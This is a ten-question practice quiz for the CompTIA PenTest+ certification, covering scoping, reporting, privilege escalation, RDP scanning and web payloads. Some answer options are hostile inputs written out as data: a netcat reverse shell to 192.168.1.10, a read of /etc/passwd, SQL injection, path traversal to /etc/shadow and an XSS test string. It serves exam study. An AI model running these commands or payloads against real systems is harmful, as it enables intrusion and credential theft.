SkillTestPro | CompTIA PenTest+ Practice Test 3

CompTIA PenTest+ Practice Test 3

CompTIA PenTest+ Practice Test

1 / 10

A pen test targets a web app with strict data privacy laws. Which scoping step ensures legal compliance?

Obtain written consent from data owners

Scan all open ports

Test during peak hours

Use default tool settings

Exclude reporting requirements

2 / 10

You’re reviewing a C program with user input. Which line poses a buffer overflow risk?

printf("Hello, %s", name);

fopen("file.txt", "r");

exit(1);

strlen(input);

gets(buffer);

3 / 10

A client needs a report for auditors showing compliance gaps. Which section should detail regulatory violations?

Technical Exploits

Scope Overview

Remediation Steps

Compliance-Based Findings

Raw Logs

4 / 10

You’re targeting a Linux server with a vulnerable sudo configuration. Which command escalates privileges?

whoami

nc -e /bin/sh 192.168.1.10 4444

sudo -u root /bin/bash

cat /etc/passwd

chmod +x exploit.sh

5 / 10

A target exposes port 3389 (RDP). Which command checks for weak RDP configurations?

nc -zv 192.168.1.10 3389

dig @192.168.1.10 3389

ssh 192.168.1.10 -p 3389

nmap -p 3389 --script rdp-vuln-ms12-020 192.168.1.10

netstat -an | find "3389"

6 / 10

You’re auditing a JavaScript file for security flaws. Which tool identifies potential DOM-based XSS issues?

John the Ripper

ESLint with security plugins

sqlmap

Hydra

Aircrack-ng

7 / 10

A pen test reveals multiple vulnerabilities. Which report element prioritizes fixes based on risk?

Executive Summary

Methodology

Risk Rating

Tool Output

Attack Timeline

8 / 10

A web server allows file uploads without validation. Which payload tests for remote code execution (RCE)?

alert('xss')

' OR 1=1 --

../../etc/shadow

whoami > output.txt

9 / 10

You’re performing OSINT on a target company. Which tool extracts employee email addresses from public sources?

Nmap

dnsenum

Maltego

Wireshark

10 / 10

A client requests a pen test but mandates third-party approval for cloud-hosted systems. Which document should address this requirement?

Scope of Work (SoW)

Non-Disclosure Agreement (NDA)

Rules of Engagement (RoE)

Master Service Agreement (MSA)

Authorization Letter

Your score is

The average score is 0%